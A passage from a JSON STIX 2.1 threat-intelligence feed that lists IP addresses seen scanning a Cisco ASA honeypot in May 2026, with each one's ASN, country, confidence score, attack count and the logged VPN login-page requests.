      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--f35cb431-f9a4-4f83-90d6-31e836cd5e81",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.89.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T08:20:10.000Z",
      "valid_until": "2026-06-06T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-03T19:01:41.748Z",
          "last_seen": "2026-05-29T22:13:41.515Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T09:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: CN; ASN 4134 (Chinanet)",
      "id": "indicator--520ad52b-f06e-4d40-9b17-841a9cd52b5c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '123.160.223.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T09:20:13.000Z",
      "valid_until": "2026-06-06T09:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 13,
          "first_seen": "2026-05-05T09:04:16.628Z",
          "last_seen": "2026-05-29T22:38:45.993Z",
          "country": "China",
          "country_code": "CN",
          "asn": 4134,
          "as_org": "Chinanet",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T09:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--68a10c1a-ad3a-4706-bd26-0e4f17517632",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '143.244.47.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T09:20:13.000Z",
      "valid_until": "2026-06-06T09:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-05T09:15:09.925Z",
          "last_seen": "2026-05-22T19:06:15.128Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T09:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--196c3d68-cf83-4e27-8b12-fb41cd32196b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.187.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T09:20:13.000Z",
      "valid_until": "2026-06-06T09:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-05T08:42:21.069Z",
          "last_seen": "2026-05-21T01:26:21.300Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T09:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--e1394aa3-c3b5-49fe-bcad-38278baaeb39",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '173.249.252.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T09:20:13.000Z",
      "valid_until": "2026-06-06T09:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-05T08:57:11.473Z",
          "last_seen": "2026-05-08T06:54:08.148Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T09:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--d4a1d0cf-811f-4393-bd8e-beaf8de28788",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.68.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T09:20:13.000Z",
      "valid_until": "2026-06-06T09:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 16,
          "first_seen": "2026-05-05T09:17:43.238Z",
          "last_seen": "2026-05-11T09:12:13.065Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T09:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--6241fed6-d3e7-42bf-b4b1-0f8029208992",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.78.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T09:20:13.000Z",
      "valid_until": "2026-06-06T09:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-05T08:22:22.720Z",
          "last_seen": "2026-05-05T08:22:31.263Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T09:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--7f8c0297-8b21-4d52-9e4c-164b22601187",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.83.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T09:20:13.000Z",
      "valid_until": "2026-06-06T09:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-05T08:24:00.735Z",
          "last_seen": "2026-05-31T04:18:58.640Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T09:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 6206 (Netrouting B.V.)",
      "id": "indicator--84c2fb12-b3f4-40cf-8314-9d6d38fba10b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.92.19.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T09:20:13.000Z",
      "valid_until": "2026-06-06T09:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-05T09:04:32.467Z",
          "last_seen": "2026-05-05T09:04:32.467Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6206,
          "as_org": "Netrouting B.V.",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T09:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 45102 (Alibaba US Technology Co., Ltd.)",
      "id": "indicator--fa7f45ac-c493-4ac9-82a8-0479e571af5b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '47.89.246.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T09:20:13.000Z",
      "valid_until": "2026-06-06T09:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 8,
          "first_seen": "2026-05-05T09:04:26.372Z",
          "last_seen": "2026-05-20T13:12:12.018Z",
          "country": "United States",
          "country_code": "US",
          "asn": 45102,
          "as_org": "Alibaba US Technology Co., Ltd.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/win.js HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T09:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: DE; ASN 45102 (Alibaba US Technology Co., Ltd.)",
      "id": "indicator--f28881bd-7611-4f42-b6f9-bf3888f59696",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '8.209.97.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T09:20:13.000Z",
      "valid_until": "2026-06-06T09:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-05T09:03:01.437Z",
          "last_seen": "2026-05-05T09:03:05.483Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 45102,
          "as_org": "Alibaba US Technology Co., Ltd.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T10:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--8a1d8c8f-4aae-4f99-a659-2e10ad7868c6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.168.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T10:20:12.000Z",
      "valid_until": "2026-06-06T10:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 24,
          "first_seen": "2026-05-05T10:09:31.407Z",
          "last_seen": "2026-05-31T02:01:36.439Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T10:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--bbdb017c-edd6-4703-9446-f7775e4483d6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.156.46.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T10:20:12.000Z",
      "valid_until": "2026-06-06T10:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 27,
          "first_seen": "2026-05-05T09:37:32.289Z",
          "last_seen": "2026-05-29T12:10:37.528Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T10:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--87070463-63f9-4b7a-b3a7-6077d37abadf",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.107.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T10:20:12.000Z",
      "valid_until": "2026-06-06T10:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-05T09:49:36.739Z",
          "last_seen": "2026-05-05T10:07:30.644Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T10:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--06311b8a-def7-4666-8935-eb30060def57",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.114.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T10:20:12.000Z",
      "valid_until": "2026-06-06T10:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-05T10:10:19.893Z",
          "last_seen": "2026-05-31T04:36:45.689Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 30671 (Data Bridge Limited)",
      "id": "indicator--c36df540-2586-44e5-b6f7-d2c5d9f01503",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.160.24.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T11:20:10.000Z",
      "valid_until": "2026-06-06T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-05T10:41:54.697Z",
          "last_seen": "2026-05-06T01:06:17.208Z",
          "country": "United States",
          "country_code": "US",
          "asn": 30671,
          "as_org": "Data Bridge Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--25665c19-cab4-40c9-b758-e9154692a2a3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.105.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T11:20:10.000Z",
      "valid_until": "2026-06-06T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-05T10:25:51.327Z",
          "last_seen": "2026-05-05T17:24:13.536Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--9c4ef6a8-c7cc-47bb-afda-eb39f379d34a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.110.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T11:20:10.000Z",
      "valid_until": "2026-06-06T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-05T10:53:10.303Z",
          "last_seen": "2026-05-26T15:29:18.126Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--6727e121-85c9-4482-aa79-b0da566ac487",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.115.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T11:20:10.000Z",
      "valid_until": "2026-06-06T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 30,
          "first_seen": "2026-05-05T11:14:36.301Z",
          "last_seen": "2026-05-27T21:55:44.192Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--f86cd206-e9b4-455b-8a11-116c60af9700",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.78.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T11:20:10.000Z",
      "valid_until": "2026-06-06T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-05T10:58:16.421Z",
          "last_seen": "2026-05-29T12:56:51.616Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
